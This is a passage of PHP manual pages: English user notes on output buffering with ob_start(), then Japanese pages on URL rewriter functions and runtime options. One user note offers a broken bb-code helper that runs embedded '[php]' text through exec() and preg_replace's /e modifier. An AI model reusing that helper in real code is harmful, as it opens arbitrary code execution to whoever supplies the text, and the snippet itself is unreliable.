Here's a nifty function I use daily.  Essentially: include a PHP file - but render its output to a variable, rather than to the buffer.  It's also set up to load the script with a variable set, and automagically loads globals into the script's namespace, making it an effective templating scheme.  It also has error handling, so that you're not flying blind when using output buffering.

<?php
$GLOBALS['BufferedErrors']=Array();
function errorParse($errno, $errstr, $errfile, $errline, $errcontext) {
    $errorTypes = Array(
        E_ERROR => 'Fatal Error',
        E_WARNING => 'Warning',
        E_PARSE => 'Parse Error',
        E_NOTICE => 'Notice',
        E_CORE_ERROR => 'Fatal Core Error',
        E_CORE_WARNING => 'Core Warning',
        E_COMPILE_ERROR => 'Compilation Error',
        E_COMPILE_WARNING => 'Compilation Warning',
        E_USER_ERROR => 'Triggered Error',
        E_USER_WARNING => 'Triggered Warning',
        E_USER_NOTICE => 'Triggered Notice',
        E_STRICT => 'Deprecation Notice',
        E_RECOVERABLE_ERROR => 'Catchable Fatal Error'
    );
    $ret=(object)Array(
        'number'=>$errno,
        'message'=>$errstr,
        'file'=>$errfile,
        'line'=>$errline,
        'context'=>$errcontext,
        'type'=>$errorTypes[$errno]
    );
    $GLOBALS['BufferedErrors'][]=$ret;
    return false;
}
function parse($fileToInclude, $argumentsToFile=false) {
    $bufferedErrorStack = $GLOBALS['BufferedErrors'];
    set_error_handler('errorParse', error_reporting());
    $GLOBALS['BufferedErrors']=Array();

    if (!file_exists($fileToInclude))
        return '';
    if ($argumentsToFile === false)
        $argumentsToFile = Array();
    $argumentsToFile = array_merge($GLOBALS, $argumentsToFile);
    foreach ($argumentsToFile as $variableName => $variableValue)
        $$variableName = $variableValue;
    ob_start();
    include($fileToInclude);
    $ret = ob_get_contents();
    ob_end_clean();

    restore_error_handler();
    $errors = $GLOBALS['BufferedErrors'];
    $GLOBALS['BufferedErrors'] = $bufferedErrorStack;
    if (count($errors)>0) {
        $ret.='<ul class="error">';
        foreach ($errors as $error)
            $ret.=
                '<li>'.
                    '<b>'.$error->type.'</b>: '.
                    $error->message.
                    '<blockquote>'.
                        '<i>file</i>: '.$error->file.'<br />'.
                        '<i>line</i>: '.$error->line.
                    '</blockquote>'.
                '</li>';
        $ret.='</ul>';
    }
    return $ret;
}
coldshine at gmail dot com 07-Apr-2008 11:52
Referring to dan at roteloftet dot com's comment:

RFC 2616 (HTTP) specifies a "transparent" Content-Encoding, "identity" (§ 3.5), that nicely suits what you tried to do with the (invalid) "None". So this equally working, and it's also RFC-compliant:

<?php
header('Content-Encoding: identity', true);
?>
dan at roteloftet dot com 09-Mar-2008 02:19
Some web hosting servers (mine do, at least) have in their php.ini the following setting:
output_handler = ob_gzhandler

This proved problematic for php-scripts which returns an image or a binary file in general, since there is no way to determine the content length of the compressed file.

Since I spent a lot of time scouring the net searching for a work-around (.htaccess-modifications were out of the picture for various reasons), I found this to work nicely to cancel out the ob_gzhandler specified in the php.ini:

<?php
while (ob_get_level())
        ob_end_clean();
header("Content-Encoding: None", true);
?>

Put this at the top of the script before anything else is written to the page, and the script result will not be compressed.
Francois Hill 22-Oct-2007 05:42
Following clement dot ayme at st dot com 's remark :

In my experience it seems that the output IS buffered, but ALSO sent to the standard output !
Charlie Farrow 18-Oct-2007 09:49
Under certain freak conditions, when an error ocours perfoming an action on an object that cannot be done (either because the object does not exist or the method does not exist) inside of an ob_start() the script will exit and print everything the current function generates before the error, but nothing else, including no error message.

I am at a loss to why no error message appears and am trying to get a working example for the developers that is simpler than my whole program!

So if you are using ob_start() and you get no output, check your objects.... you have made a mistake on them somewhere. The only trouble is you will not know where as there is no error!!
Asher Haig (ahaig at ridiculouspower dot com) 20-Aug-2007 01:17
When a script ends, all buffered output is flushed (this is not a bug: http://bugs.php.net/bug.php?id=42334&thanks=4). What happens when the script throws an error (and thus ends) in the middle of an output buffer? The script spits out everything in the buffer before printing the error!

Here is the simplest solution I have been able to find. Put it at the beginning of the error handling function to clear all buffered data and print only the error:

$handlers = ob_list_handlers();
while ( ! empty($handlers) )    {
    ob_end_clean();
    $handlers = ob_list_handlers();
}
tracey AT archive DOT org 29-Mar-2007 01:01
Way to make all stdout and stderr write to a log
from *inside* a php script.
You simply need to make sure to call elog() every
once in awhile to get output.
It's a nice way to "daemonize" a script w.r.t. its logging.

// This allows us to capture all stdout and stderr (and error_log() calls)
// to this logfile...
// The "collected output" will be flushed anytime "elog()" is used...
ini_set("error_log", "/var/log/script.log");
ob_start();

function elog($str)
{
  // get anything written to stdout or stderr that did *NOT* use elog()
  // and write it now...
  $writeme = ob_get_contents();
  if ($writeme)
  {
    error_log($writeme);
    ob_end_clean();
    ob_start();
  }
  // now write message this method was called with
  error_log($str);
}
lucky760 at yahoo dot com 21-Nov-2006 09:10
In extension to the compress() function posted below, here's a nifty little class that improves the idea a bit. Basically, running that compress() function for all your CSS for every single page load is clearly far less than optimal, especially since the styles will change only infrequently at the very worst.

With this class you can simply specify an array of your CSS file names and call dump_style(). The contents of each file are saved in compress()'d form in a cache file that is only recreated when the corresponding source CSS changes.

It's intended for PHP5, but will work identically if you just un-OOP everything and possibly define file_put_contents.

Enjoy!

<?php

$CSS_FILES = array(
  '_general.css'
);

$css_cache = new CSSCache($CSS_FILES);
$css_cache->dump_style();

//
// class CSSCache
//

class CSSCache {
  private $filenames = array();
  private $cwd;

  public function __construct($i_filename_arr) {
    if (!is_array($i_filename_arr))
      $i_filename_arr = array($i_filename_arr);

    $this->filenames = $i_filename_arr;
    $this->cwd = getcwd() . DIRECTORY_SEPARATOR;

    if ($this->style_changed())
      $expire = -72000;
    else
      $expire = 3200;

    header('Content-Type: text/css; charset: UTF-8');
    header('Cache-Control: must-revalidate');
    header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT');
  }

  public function dump_style() {
    ob_start('ob_gzhandler');

    foreach ($this->filenames as $filename)
      $this->dump_cache_contents($filename);

    ob_end_flush();
  }

    private function get_cache_name($filename, $wildcard = FALSE) {
    $stat = stat($filename);
    return $this->cwd . '.' . $filename . '.' .
      ($wildcard ? '*' : ($stat['size'] . '-' . $stat['mtime'])) . '.cache';
  }

  private function style_changed() {
    foreach ($this->filenames as $filename)
      if (!is_file($this->get_cache_name($filename)))
        return TRUE;
    return FALSE;
  }

  private function compress($buffer) {
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  '), '', $buffer);
    $buffer = str_replace('{ ', '{', $buffer);
    $buffer = str_replace(' }', '}', $buffer);
    $buffer = str_replace('; ', ';', $buffer);
    $buffer = str_replace(', ', ',', $buffer);
    $buffer = str_replace(' {', '{', $buffer);
    $buffer = str_replace('} ', '}', $buffer);
    $buffer = str_replace(': ', ':', $buffer);
    $buffer = str_replace(' ,', ',', $buffer);
    $buffer = str_replace(' ;', ';', $buffer);
    return $buffer;
  }

  private function dump_cache_contents($filename) {
    $current_cache = $this->get_cache_name($filename);

    // the cache exists - just dump it
    if (is_file($current_cache)) {
      include($current_cache);
      return;
    }

    // remove any old, lingering caches for this file
    if ($dead_files = glob($this->get_cache_name($filename, TRUE), GLOB_NOESCAPE))
      foreach ($dead_files as $dead_file)
        unlink($dead_file);

    $compressed = $this->compress(file_get_contents($filename));
    file_put_contents($current_cache, $compressed);

    echo $compressed;
  }
}

?>
butch at enterpol dot pl 02-Oct-2006 12:04
simple code to make phpsession $_GET nice for Valid XHTML 1.0 Transitional :)

function callback($buffer)
{
  $buffer = str_replace("&PHPSESSID", "&amp;PHPSESSID", $buffer);
  return $buffer;
}

ob_start("callback");

session_start();
net_navard at yahoo dot com 30-May-2006 07:09
Hello firends

ob_start() opens a buffer in which all output is stored. So every time you do an echo, the output of that is added to the buffer. When the script finishes running, or you call ob_flush(), that stored output is sent to the browser (and gzipped first if you use ob_gzhandler, which means it downloads faster).

The most common reason to use ob_start is as a way to collect data that would otherwise be sent to the browser.

These are two usages of ob_start():

1-Well, you have more control over the output. Trivial example: say you want to show the user an error message, but the script has already sent some HTML to the browser. It'll look ugly, with a half-rendered page and then an error message. Using the output buffering functions, you can simply delete the buffer and sebuffer and send only the error message, which means it looks all nice and neat buffer and send
2-The reason output buffering was invented was to create a seamless transfer, from: php engine -> apache -> operating system -> web user

If you make sure each of those use the same buffer size, the system will use less writes, use less system resources and be able to handle more traffic.

With Regards, Hossein
simon 24-Jan-2006 08:51
Found that variables in class instances we're not being set after the call to ob_start().
Call ob_start after the variables are set however and it works but that didn't seem to solve the goal of a self contained templating class.
The fix was to assign the class by reference with '&new'
Here is a simplified working example:
<?php
class Buffer {
var $template = ' - template set in class constructor';
function Buffer() {
    $this->startBuffer();
}
function startBuffer() {
    ob_start(array(&$this, 'doFlush'));
}
function doFlush($buffer) {
    /* simple string concat to show use of a
    template string and the buffer output */
    return $buffer . $this->template;
}
}
/* template does not get set:
$buffer1 = new Buffer();
$buffer1->template = ' - template set in instance';
echo 'some buffer content';
*/
/* this works as expected */
$buffer2 = &new Buffer();
$buffer2->template = ' - template set in instance';
echo 'some buffer content';
ernest at vogelsinger dot at 08-Jan-2006 09:57
When you rely on URL rewriting to pass the PHP session ID you should be careful with ob_get_contents(), as this might disable URL rewriting completely.

Example:
ob_start();
session_start();
echo '<a href=".">self link</a>';
$data = ob_get_contents();
ob_end_clean();
echo $data;

In the example above, URL rewriting will never occur. In fact, rewriting would occur if you ended the buffering envelope using ob_end_flush(). It seems to me that rewriting occurs in the very same buffering envelope where the session gets started, not at the final output stage.

If you need a scenario like the one above, using an "inner envelope" will help:

ob_start();
ob_start();   // add the inner buffering envelope
session_start();
echo '<a href=".">self link</a>';
ob_end_flush(); // closing the inner envelope will activate URL rewriting
$data = ob_get_contents();
ob_end_clean();
echo $data;

In case you're interested or believe like me that this is rather a design flaw instead of a feature, please visit bug #35933 (http://bugs.php.net/bug.php?id=35933) and comment on it.
php at bucksvsbytes dot com 15-Sep-2005 10:29
The following should be added: "If outbut buffering is still active when the script ends, PHP outputs it automatically. In effect, every script ends with ob_end_flush()."
admin at bobfrank dot org 28-Aug-2005 08:50
If you want to run code in the middle of a string that you made, but you want to wait the printing...
(so if you want to allow php in bb-code style, and you want to execute it in order, and print everything in order...)

phpRun($code) {
    ob_start();
    exec($code);
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

$str = str_replace("]\n", "]", $str);
$match = array('#\[php\](.*?)\[\/php\]#se');
$replace = array( phpRun( stripslashes('$1') ) );
$str= preg_replace($match, $replace, $str);

echo $str;
geoffrey at nevra dot net 09-Aug-2005 12:05
When using a callback with ob_start(), functions like ob_get_contents() don't make use of it, use ob_end_flush() instead.

nb: not tested with every ob_* functions, just ob_get_contents() and ob_end_flush()
05-Aug-2005 07:54
I usually create my pages in four parts - variable initialisation, import header (using the variables just declared to configure), main body (mostly non-PHP), import footer.  I wondered about making the main body examinable by another PHP script if the main page was included into it.  I found I could control output of the main body by ending the header with an unclosed function which finishes at the start of the footer, thus enclosing the main body.  Output buffering can then be used to read this into a variable.  As a demonstration of how this can be used to control the order of output look at this example:

<?php
$output = "";

// Callback to process buffered output
function capture($buffer)
    {
    $GLOBALS['output'] .= $buffer;
    return "C ";
    }

// Calls the printE() function with output capture
function captureE()
    {
    ob_start("capture");
    printE();
    ob_end_flush();
    }
?>

A
<?php
// Output 'E' (the main body in the example scenario)
function printE()
    { // (End header after this line) ?>
E
    <?php // (Start footer with this line)
    }
?>
B
<?php captureE(); ?>
D
<?php print $output; ?>
F
<?php printE(); ?>
G

The output is A B C D E F E G.

For the application I mentioned above there are two points to note:
 - The page when executed alone must output its main body but the inspection script should suppress this, perhaps by means of a variable set before the page is included and then checked for in the footer output lines.
 - Because the main body is now inside a function it has a different namespace, thus changes may be required to prevent code breaking (e.g. use of globals, handling of functions defined within the main body).
oersoep at gmail dot com 08-Jul-2005 05:46
These are handy. First one has been mentioned before.

ob_start( array( 'lib_class', 'parse_output' ) );
ob_start( array( $this, 'parse_output' ) );

Note: $this is NOT a reference. Anything the callback saves or logs disappears in the clone ob_start works with.
It does enable the callback to work with the attributes of $this, like $this->ar_tpl_value or whatever your style is.

The manual says:
"If the optional parameter chunk_size is passed, the callback function is called on every first newline after chunk_size bytes of output. The output_callback parameter may be bypassed by passing a NULL value."
This doesn't work with my 4.3.11. Might be the Zend optimizer though. Daren't turn it off to go see.
Aleksey 25-May-2005 12:08
This function dynamically changes title of HTML page:

  function change_title($new_title) {
    $output = ob_get_contents();
    ob_end_clean();

    $output = preg_replace("/<title>(.*?)<\/title>/", "<title>$new_title</title>", $output);
    echo $output;
  }

Example:
  ob_start();
  // ... some output
  change_title('NEW TITLE!');
rafa dot chacon at factorydea dot com 10-May-2005 02:10
If you're trying to include a php file inside a loop by require_once (in example, a dinamic email template) and change the value of some variables (in example, url to unsuscribe, different for each user), you should use

<?php

// ... some code

$usermail = array("email1", "email2", ...);

for($i = 0; $i < $MAX; $i++)
{
        $usermail_unsuscribe = $usermail[$i];
        ob_start();
        include("email_template.php");
        ob_clean();
}
?>

Otherwise $usermail_unsuscribe will get only "email1" value.
Ray Paseur (Paseur ... ImagineDB.com) 01-Mar-2005 01:50
You can use PHP to generate a static HTML page.  Useful if you have a complex script that, for performance reasons, you do not want site visitors to run repeatedly on demand.  A "cron" job can execute the PHP script to create the HTML page.  For example:

<?php // CREATE index.html
   ob_start();
/* PERFORM COMLEX QUERY, ECHO RESULTS, ETC. */
   $page = ob_get_contents();
   ob_end_clean();
   $cwd = getcwd();
   $file = "$cwd" .'/'. "index.html";
   @chmod($file,0755);
   $fw = fopen($file, "w");
   fputs($fw,$page, strlen($page));
   fclose($fw);
   die();
?>
aaron at offtone.com 13-Nov-2004 05:19
My callback is stored in a function class, and using ob_start ('Class::callback') wasn't working. Not wanting to instantiate the class (no need, it's a function class) I tried this and it worked a charm:

ob_start (array (Class, 'callback'));

PHP 4.3.4
jkloss at hotmail dot com 17-Mar-2004 07:20
If ob_start does not seem to be working for you, note that with Apache 2 the flush() function causes PHP to send headers regardless of whether ob_start had been called before flush.

ob_start();
echo 'test';
flush();

will cause Apache 2 to send whatever headers may be stacked up - which means you can't use a header(location:xxx) after the flush.  To fix, remove the flush().  Spent several hours discovering this.  Apache 1.x didn't work this way.
mjr 10-Mar-2004 09:10
If you're using object-orientated code in PHP you may, like me, want to use a call-back function that is inside an object (i.e. a class function). In this case you send ob_start a two-element array as its single argument. The first element is the name of the object (without the $ at the start), and the second is the function to call. So to use a function 'indent' in an object called '$template' you would use <?php ob_start(array('template', 'indent')); ?>.
ed.oohay (a) suamhcs_rodnan 21-Nov-2003 05:18
Output Buffering even works in nested scopes or might be applied in recursive structures... thought this might save someone a little time guessing and testing :)

<pre><?php

    ob_start();              // start output buffer 1
    echo "a";                // fill ob1

        ob_start();              // start output buffer 2
        echo "b";                // fill ob2
        $s1 = ob_get_contents(); // read ob2 ("b")
        ob_end_flush();          // flush ob2 to ob1

    echo "c";                // continue filling ob1
    $s2 = ob_get_contents(); // read ob1 ("a" . "b" . "c")
    ob_end_flush();          // flush ob1 to browser

    // echoes "b" followed by "abc", as supposed to:
    echo "<HR>$s1<HR>$s2<HR>";

?></pre>

... at least works on Apache 1.3.28

Nandor =)
05-Dec-2002 12:02
If you're using Apache (1.3x or 2.0), you might consider adding automatic compression capability to your delivered pages.

I assume you all know how to build compression classes and use them in your programs, but none has yet to offer the speed and robustness of a binary-compiled module. Furthermore, such modules also log the "compressable" hit in the web log file, thus allowing your favorite web anaysing program to show you reports of bandwidth saved.

Having said that, you might consider the following two modules for Apache:

1) Apache 1.3x: use mod_gzip, available from:
http://sourceforge.net/projects/mod-gzip/

2) Apache 2.x: use mod_gz, see here:
http://www.mail-archive.com/dev@httpd.apache.org/msg00734.html

3) Apache 1.3x: you may also want to use mod_defalte, from:
ftp://ftp.lexa.ru/pub/apache-rus/contrib/

Hope it helps.
cliff at NOSPAMtravelguides dot com 07-Aug-2002 03:36
good article on output buffering on devshed:

http://www.devshed.com/c/a/PHP/Output-Buffering-With-PHP


URL リライタの値を追加する

  • ≪ ob_start
  • output_reset_rewrite_vars ≫
  • PHP Manual
  • 出力制御 関数
  • URL リライタの値を追加する

output_add_rewrite_var

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

output_add_rewrite_var — URL リライタの値を追加する

説明

output_add_rewrite_var ( string $name , string $value ) : bool

この関数は、URL リライト機構に新しい名前/値の組を追加します。 名前および値は、URL (GET パラメータとして) およびフォーム (hidden フィールドとして) で追加されます。これは、session.use_trans_sid で透過的 URL リライティングが有効になっている場合に セッション ID が渡される方法と同じです。

この関数の挙動は、php.ini パラメータ url_rewriter.tags および url_rewriter.hosts によって制御されます。

この関数の呼び出しが成功するのは、それぞれのリクエストで一度だけです。

注意: もし出力バッファリングが有効になっていない場合、この関数を コールすると出力バッファリングが暗黙的に開始されます。

パラメータ

name

変数名。

value

変数の値。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.1.0 | PHP 7.1.0 より前のバージョンでは、output_add_rewrite_var() で設定したリライト変数は、透過的セッションID出力バッファと同じセッションモジュールを使っていました。 PHP 7.1.0 以降では、専用の出力バッファを用いるようになりました。 url_rewriter.tags はただ関数の出力にだけ使われるようになり、 url_rewriter.hosts が追加されました。

例

例1 output_add_rewrite_var() の例

<?php
output_add_rewrite_var('var', 'value');

// リンク
echo '<a href="file.php">リンク</a>
<a href="http://example.com">リンク2</a>';

// フォーム
echo '<form action="script.php" method="post">
<input type="text" name="var2" />
</form>';

print_r(ob_list_handlers());
?>

上の例の出力は以下となります。

<a href="file.php?var=value">リンク</a>
<a href="http://example.com">リンク2</a>

<form action="script.php" method="post">
<input type="hidden" name="var" value="value" />
<input type="text" name="var2" />
</form>

Array
(
    [0] => URL-Rewriter
)

参考

  • output_reset_rewrite_vars() - URL リライタの値をリセットする
  • ob_flush() - 出力バッファをフラッシュ(送信)する
  • ob_list_handlers() - 使用中の出力ハンドラの一覧を取得する
  • url_rewriter.tags
  • url_rewriter.hosts
  • session.trans_sid_tags
  • session.trans_sid_hosts

User Contributed Notes

Anonymous 20-Oct-2008 09:16
For a completely valid XHTML document you have to set the arg_separator, use this before you use output-add-rewrite-var:

<?php
ini_set('arg_separator.input', '&');
ini_set('arg_separator.output', '&');
?>
Niko 24-Feb-2008 01:58
This function also adds a parameter to <input type="image"> fields!

Example:
This code:

<?
output_add_rewrite_var ('var','value');
echo '<form action="" method="post">
        <input type="image" src="image.jpg" alt="go">
        </form>';
?>

will output something like this:

<form action="" method="post">
        <input type="hidden" name="var" value="value">
        <input type="image" src="image.jpg?var=value" alt="go">
        </form>
Bruce 06-Sep-2007 07:54
Just to clarify...

session.use_trans_sid does NOT need to be enabled in order for output_add_rewrite_var() to work.


URL リライタの値をリセットする

  • ≪ output_add_rewrite_var
  • PHP Options/Info ≫
  • PHP Manual
  • 出力制御 関数
  • URL リライタの値をリセットする

output_reset_rewrite_vars

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

output_reset_rewrite_vars — URL リライタの値をリセットする

説明

output_reset_rewrite_vars ( ) : bool

この関数は URL リライタをリセットし、 output_add_rewrite_var() 関数によって事前に設定されたリライト変数を削除します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.1.0 | PHP 7.1.0 より前のバージョンでは、output_add_rewrite_var() で設定したリライト変数は、透過的セッションID出力バッファと同じセッションモジュールを使っていました。 PHP 7.1.0 以降では、専用の出力バッファを用いるようになり、 output_reset_rewrite_vars() は output_add_rewrite_var(). で定義したリライト変数だけを削除するようになります。

例

例1 output_reset_rewrite_vars() の例

<?php
session_start();
output_add_rewrite_var('var', 'value');

echo '<a href="file.php">link</a>';
ob_flush();

output_reset_rewrite_vars();
echo '<a href="file.php">link</a>';
?>

上の例の出力は以下となります。

<a href="file.php?PHPSESSID=xxx&var=value">link</a>
<a href="file.php">link</a>

参考

  • output_add_rewrite_var() - URL リライタの値を追加する
  • ob_flush() - 出力バッファをフラッシュ(送信)する
  • ob_list_handlers() - 使用中の出力ハンドラの一覧を取得する
  • url_rewriter.tags
  • url_rewriter.hosts
  • session.trans_sid_tags
  • session.trans_sid_hosts

User Contributed Notes

yohgaki at php dot net 27-Jan-2015 04:11
Example #1 to work, you need

<?php
ini_set('session.use_only_cookies', 'Off');
ini_set('session.use_trans_sid', 'On');
?>

before session_start().


PHP オプションと情報

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • PHP オプション/情報 関数
    • assert_options — 様々な assert フラグを設定/取得する
    • assert — assertion が false であるかどうかを調べる
    • cli_get_process_title — 現在のプロセスのタイトルを返す
    • cli_set_process_title — プロセスのタイトルを設定する
    • dl — 実行時に PHP 拡張モジュールをロードする
    • extension_loaded — ある拡張機能がロードされているかどうかを調べる
    • gc_collect_cycles — すべての既存ガベージサイクルを強制的に収集する
    • gc_disable — 循環参照コレクタを無効にする
    • gc_enable — 循環参照コレクタを有効にする
    • gc_enabled — 循環参照コレクタの状態を返す
    • gc_mem_caches — Zend Engine のメモリーマネージャによって使用されたメモリーを再利用する
    • gc_status — ガベージコレクタに関する情報を取得する
    • get_cfg_var — PHP 設定オプションの値を取得する
    • get_current_user — 現在の PHP スクリプトの所有者の名前を取得する
    • get_defined_constants — すべての定数の名前とその値を連想配列として返す
    • get_extension_funcs — あるモジュールの関数名を配列として返す
    • get_include_path — 現在の include_path 設定オプションを取得する
    • get_included_files — include または require で読み込まれたファイルの名前を配列として返す
    • get_loaded_extensions — コンパイル/ロードされている全てのモジュールの名前を配列として返す
    • get_magic_quotes_gpc — magic_quotes_gpc の現在の設定を得る
    • get_magic_quotes_runtime — magic_quotes_runtime の現在アクティブな設定値を取得する
    • get_required_files — get_included_files のエイリアス
    • get_resources — アクティブなリソースを返す
    • getenv — 環境変数の値を取得する
    • getlastmod — 最終更新時刻を取得する
    • getmygid — PHP スクリプトの所有者の GID を得る
    • getmyinode — 現在のスクリプトの inode を取得する
    • getmypid — PHP のプロセス ID を取得する
    • getmyuid — PHP スクリプト所有者のユーザー ID を取得する
    • getopt — コマンドライン引数のリストからオプションを取得する
    • getrusage — 現在のリソース使用状況を取得する
    • ini_alter — ini_set のエイリアス
    • ini_get_all — すべての設定オプションを得る
    • ini_get — 設定オプションの値を得る
    • ini_restore — 設定オプションの値を元に戻す
    • ini_set — 設定オプションの値を設定する
    • main — main のダミー
    • memory_get_peak_usage — PHP によって割り当てられたメモリの最大値を返す
    • memory_get_usage — PHP に割り当てられたメモリの量を返す
    • php_ini_loaded_file — 読み込まれた php.ini ファイルのパスを取得する
    • php_ini_scanned_files — 追加の ini ディレクトリにある .ini ファイルのリストを取得する
    • php_sapi_name — ウェブサーバーと PHP の間のインターフェイスの型を返す
    • php_uname — PHP が稼動しているオペレーティングシステムに関する情報を返す
    • phpcredits — PHP に関するクレジットを出力する
    • phpinfo — PHP の設定情報を出力する
    • phpversion — 現在の PHP バージョンを取得する
    • putenv — 環境変数の値を設定する
    • restore_include_path — include_path 設定オプションの値を元に戻す
    • set_include_path — include_path 設定オプションをセットする
    • set_time_limit — 実行時間の最大値を制限する
    • sys_get_temp_dir — 一時ファイル用に使用されるディレクトリのパスを返す
    • version_compare — ふたつの "PHP 標準" バージョン番号文字列を比較する
    • zend_thread_id — 現在のスレッドの一意な ID を返す
    • zend_version — 現在の Zend Engine のバージョンを取得する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

以下の関数によりPHP自体に関する多くの情報(例えば、実行時の設定、 ロードされている拡張モジュール、バージョン等)を 得ることができます。実行しているPHPのオプションを設定する関数もあ ります。おそらく最も有名な関数であるphpinfo() もここにあります。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

PHP オプション/情報設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
assert.active | "1" | PHP_INI_ALL |
assert.bail | "0" | PHP_INI_ALL |
assert.warning | "1" | PHP_INI_ALL |
assert.callback | NULL | PHP_INI_ALL |
assert.quiet_eval | "0" | PHP_INI_ALL |
assert.exception | "0" | PHP_INI_ALL | PHP 7.0.0 以降で利用可能。
enable_dl | "1" | PHP_INI_SYSTEM | この非推奨の機能は、きっと 将来 削除 されるでしょう。
max_execution_time | "30" | PHP_INI_ALL |
max_input_time | "-1" | PHP_INI_PERDIR |
max_input_nesting_level | "64" | PHP_INI_PERDIR | PHP 5.2.3 以降で有効。
max_input_vars | 1000 | PHP_INI_PERDIR | PHP 5.3.9 以降で有効
magic_quotes_gpc | "1" | PHP_INI_PERDIR | PHP 5.4.0 で削除。
magic_quotes_runtime | "0" | PHP_INI_ALL | PHP 5.4.0 で削除。
zend.enable_gc | "1" | PHP_INI_ALL | PHP 5.3.0 以降で有効。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

assert.active bool

assert() の評価を有効にします。

assert.bail bool

assertion が失敗した時にスクリプトの実行を終了します。

assert.warning bool

assertion が失敗する度に PHP 警告を発行します。

assert.callback string

assertion が失敗した時にコールされるユーザー関数

assert.quiet_eval bool

assertion 式の評価時に error_reporting() の現在の 設定を使用します。有効な場合、評価時にエラーは表示されません。 (暗黙のうちに error_reporting(0) とします) 無効な場合、エラーは、error_reporting() の設定に 基づき設定されます。

assert.exception bool

アサーションに失敗した場合に AssertionError 例外を発行します。

enable_dl bool

このディレクティブは、Apacheモジュール版のPHPを使用した場合にのみ 有用です。PHPの動的ロード拡張機能をdl()で 仮想サーバー毎またはディレクトリ毎にオンまたはオフに変更することが できます。

動的ロード機能をオフにするのは主としてセキュリティ上の理由によります。 動的ロード機能により、 open_basedir の拘束を全て 無視することが可能になります。 デフォルトでは、動的ロードが可能です。

max_execution_time int

スクリプトがパーサにより強制終了されるまでに許容される最大の 時間を秒単位で指定します。この命令は、いい加減に書かれた スクリプトがサーバーの負荷を上げることを防止するのに役立ちます。 デフォルトでは、30 に設定されています。 PHP を コマンドライン から実行する場合のデフォルト設定は 0 です。

Windows 以外のシステムでは、 最大実行時間は、システムコール、ストリーム操作等の 影響を受けません。より詳細な情報については、 set_time_limit() 関数の説明を参照ください。

Web サーバー側でもタイムアウトの設定項目を持ち、 その設定で PHP の実行が中断されることもあります。 Apache には Timeout ディレクティブ、IIS には CGI タイムアウト関数があり、どちらもデフォルトで 300 秒に設定されています。 これらの意味については、Web サーバーのドキュメントを参照ください。

max_input_time int

スクリプトが POST、GET などの入力を パースする最大の時間を、秒単位で指定します。 これは、サーバー側で PHP が起動してからスクリプトの実行を開始するまでの時間です。 デフォルトの設定は -1 です。 これは max_execution_time が代わりに使われることを意味しています。 無制限にするには、0 を設定してください。

max_input_nesting_level int

外部からの入力変数 ($_GET や $_POST など) のネストの深さの最大値を設定します。

max_input_vars int

入力変数 を最大で何個まで受け付けるかを指定します (この制限は、スーパーグローバル $_GET、$_POST そして $_COOKIE にそれぞれ個別に適用されます)。 このディレクティブを使うと、ハッシュの衝突を悪用したサービス不能攻撃を受ける可能性を軽減できます。 このディレクティブで設定した数を超える入力変数があった場合は E_WARNING が発生し、 それ以降の入力変数はリクエストから削除されます。

magic_quotes_gpc bool
警告

この機能は PHP 5.3.0 で 非推奨となり、 PHP 5.4.0 で削除されました。

GPC(Get/Post/Cookie) 処理に関する magic_quotes の設定を行います。 magic_quotes が on の場合、'(シングルクオート)、" (ダブルクオート)、\(バックスラッシュ) 、NULL には全て自動的に バックスラッシュでエスケープ処理が行われます。magic_quotes_sybase も on の場合、シングルクオートは、バックスラッシュではなく シングルクオートでエスケープされます。

get_magic_quotes_gpc() も参照してください。

magic_quotes_runtime bool
警告

この機能は PHP 5.3.0 で 非推奨となり、 PHP 5.4.0 で削除されました。

magic_quotes_runtime が有効の場合、 データベースおよびテクストファイルを含む外部ソースから データを返す全ての関数のクオートは、バックスラッシュで エスケープされます。

magic_quotes_runtime の影響を受ける関数は次のとおりです (PECL の関数は除きます)。

  • get_meta_tags()
  • file_get_contents()
  • file()
  • fgets()
  • fwrite()
  • fread()
  • fputcsv()
  • stream_socket_recvfrom()
  • exec()
  • system()
  • passthru()
  • stream_get_contents()
  • bzread()
  • gzfile()
  • gzgets()
  • gzwrite()
  • gzread()
  • exif_read_data()
  • dba_insert()
  • dba_replace()
  • dba_fetch()
  • ibase_fetch_row()
  • ibase_fetch_assoc()
  • ibase_fetch_object()
  • mssql_fetch_row()
  • mssql_fetch_object()
  • mssql_fetch_array()
  • mssql_fetch_assoc()
  • mysqli_fetch_row()
  • mysqli_fetch_array()
  • mysqli_fetch_assoc()
  • mysqli_fetch_object()
  • pg_fetch_row()
  • pg_fetch_assoc()
  • pg_fetch_array()
  • pg_fetch_object()
  • pg_fetch_all()
  • pg_select()
  • sybase_fetch_object()
  • sybase_fetch_array()
  • sybase_fetch_assoc()
  • SplFileObject::fgets()
  • SplFileObject::fgetcsv()
  • SplFileObject::fwrite()

zend.enable_gc bool

循環参照コレクタを有効あるいは無効にします。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数は、PHP コアに含まれており、常に利用可能です。

定義済の phpcredits() 定数
定数 | 値 | 説明
CREDITS_GROUP | 1 | コア開発者のリスト
CREDITS_GENERAL | 2 | 一般的なクレジット: 言語設計とコンセプト、PHP と PHP SAPIモジュールの作者。
CREDITS_SAPI | 4 | PHPのサーバーAPIモジュールとその作者の一覧。
CREDITS_MODULES | 8 | PHPの拡張モジュールとその作者の一覧。
CREDITS_DOCS | 16 | ドキュメント作成チームのクレジット
CREDITS_FULLPAGE | 32 | 通常、他のフラグと組み合わせて使用されます。 他のフラグで示される情報を含む完全に独立したHTMLページを出力する ことを指定します。
CREDITS_QA | 64 | 品質管理チームのクレジット
